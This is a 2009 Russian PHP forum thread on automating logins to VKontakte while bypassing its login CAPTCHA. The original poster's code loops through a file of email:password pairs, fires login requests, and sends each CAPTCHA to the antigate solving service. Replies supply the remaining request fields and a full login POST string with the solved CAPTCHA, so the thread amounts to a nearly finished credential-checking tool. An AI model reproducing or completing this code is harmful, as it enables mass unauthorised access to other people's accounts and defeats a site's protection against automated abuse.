как обойти капчу на входе вк?

Тема в разделе "PHP", создана пользователем buket23, 1 дек 2009.

Статус темы:
Закрыта.
Модераторы: latteo
  1. buket23

    buket23

    Регистр.:
    3 окт 2008
    Сообщения:
    163
    Симпатии:
    10
    есть функция обработки капчи
    PHP:
    function recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 1$min_len 0$max_len 0)
       {
        if (!
    file_exists($filename))
        {
            if (
    $is_verbose) echo "file $filename not found\n";
            return 
    false;
        }
        
    $postdata = array(
            
    'method'    => 'post'
            
    'key'       => $apikey
            
    'file'      => '@'.$filename//полный путь к файлу
            
    'phrase'    => $is_phrase,
            
    'regsense'    => $is_regsense,
            
    'numeric'    => $is_numeric,
            
    'min_len'    => $min_len,
            
    'max_len'    => $max_len,
        );
        
    $ch curl_init();
        
    curl_setopt($chCURLOPT_URL,             'http://antigate.com/in.php');
        
    curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
        
    curl_setopt($chCURLOPT_TIMEOUT,             60);
        
    curl_setopt($chCURLOPT_POST,                 1);
        
    curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
        
    $result curl_exec($ch);
        if (
    curl_errno($ch)) 
        {
            if (
    $is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
            return 
    false;
        }
        
    curl_close($ch);
        if (
    strpos($result"ERROR")!==false)
        {
            if (
    $is_verbose) echo "server returned error: $result\n";
            return 
    false;
        }
        else
        {
            
    $ex explode("|"$result);
            
    $captcha_id $ex[1];
            if (
    $is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
            
    $waittime 0;
            if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
            
    sleep($rtimeout);
            while(
    true)
            {
                
    $result file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
                if (
    strpos($result'ERROR')!==false)
                {
                    if (
    $is_verbose) echo "server returned error: $result\n";
                    return 
    false;
                }
                if (
    $result=="CAPCHA_NOT_READY")
                {
                    if (
    $is_verbose) echo "captcha is not ready yet\n";
                    
    $waittime += $rtimeout;
                    if (
    $waittime>$mtimeout
                    {
                        if (
    $is_verbose) echo "timelimit ($mtimeout) hit\n";
                        break;
                    }
                    if (
    $is_verbose) echo "waiting for $rtimeout seconds\n";
                    
    sleep($rtimeout);
                }
                else
                {
                    
    $ex explode('|'$result);
                    if (
    trim($ex[0])=='OK') return trim($ex[1]);
                }
            }
            return 
    false;
        }
        }
    далее набросал код, функцию тоже в него вставляю, как дальше закончить процесс разгадывания капчи? и правильно ли я делаю
    PHP:
       function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_HEADER1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }

    $text file("aks.txt");
    foreach (
    $text as $txt)

     {
    $buffer explode(":",$txt);
        
    $pass trim($buffer[1]);
        
    $email trim($buffer[0]);

     
    $result post('http://vkontakte.ru/login.php','op=a_login_attempt','http://vkontakte.ru/login.php');

        if(
    preg_match('#captcha_sid\":\"(.+)\"#i',$result,$captcha))
    {
     
    /* Создаём капчу */
         
    file_put_contents("captcha.jpg",post('http://vkontakte.ru/captcha.php?s=1&sid='.$captcha[1]',null,'http://vkontakte.ru/login.php'));
        
        /* Распознаём её */
    $text=recognize(getcwd()."/captcha.jpg",$_SESSION['ac_key'],false);

    интересует как использовать данную функцию чтобы распознать капчу вк и передать ее
     
  2. Kirillik

    Kirillik Создатель

    Регистр.:
    22 фев 2009
    Сообщения:
    32
    Симпатии:
    7
    1. получить URL для капчи (через регулярки)
    2. загрузить URL и сохранить капчу в файл на диск
    3. распознать через функцию recognize
     
  3. buket23

    buket23

    Регистр.:
    3 окт 2008
    Сообщения:
    163
    Симпатии:
    10
    с распознованием капчи я вродебы разобрался, меня интересует запрос который передает разгаданную капчу серверу вк, пытался отснифать но не нашел где передается текст капчи
     
  4. buket23

    buket23

    Регистр.:
    3 окт 2008
    Сообщения:
    163
    Симпатии:
    10
    прощелкай к примеру не вводя логина и пароля 6 раз на 7 вылезет тебе капча
     
  5. Sanuch

    Sanuch

    Регистр.:
    25 май 2009
    Сообщения:
    207
    Симпатии:
    70
    1. получает урл каптчи
    2. по урлу получаете содержимое изображения
    3. кодируете содержимое с помощью base64 в переменную $body
    4. отправляете
    PHP:
            $postdata = array(
                
    'method'    => 'base64'
                
    'key'       => $system_key
                
    'body'      => $body,
                
    'ext'         => $ext,
                
    'regsense'    => $case,
                
    'numeric'    => $numeric,
                
    'min_len'    => $min_len,
                
    'max_len'    => $max_len,
                
    'phrase'    => $phrase,
            );
     
  6. latteo

    latteo Эффективное использование PHP, MySQL

    Moderator
    Регистр.:
    28 фев 2008
    Сообщения:
    1.549
    Симпатии:
    1.433
    POST запрос
    PHP:
    captcha_key    5S8x
    captcha_sid    767043606539
    op    a_login_attempt
    Как я и говорил плагином firebag - замечательно отлавливается

    UPD да конечно же для http://vkontakte.ru/login.php добавляем к запросу поля каптчи
     
  7. rushter

    rushter Писатель

    Регистр.:
    7 янв 2009
    Сообщения:
    9
    Симпатии:
    1
    Добавлено через 1 минуту
    Забыли указать куда отправлять,вот часть кода из моего скрипта.
    PHP:
    op=a_login_attempt&email={$acc}&pass={$pass}&expire=0&captcha_sid={$sid[1]}&captcha_key={$code}
     
  8. MAX_3000

    MAX_3000 Постоялец

    Регистр.:
    11 май 2009
    Сообщения:
    116
    Симпатии:
    58
    А нет готовых программ для распознавания CAPTH???
     
  9. Hilo

    Hilo

    Moderator
    Регистр.:
    31 мар 2008
    Сообщения:
    927
    Симпатии:
    582
    Есть, хрумер :D
     
  10. Cocomot

    Cocomot Создатель

    Регистр.:
    3 фев 2007
    Сообщения:
    47
    Симпатии:
    0
    Насколько я понимаю люди под каждую каптчу пишут свой скрипт.
     
Статус темы:
Закрыта.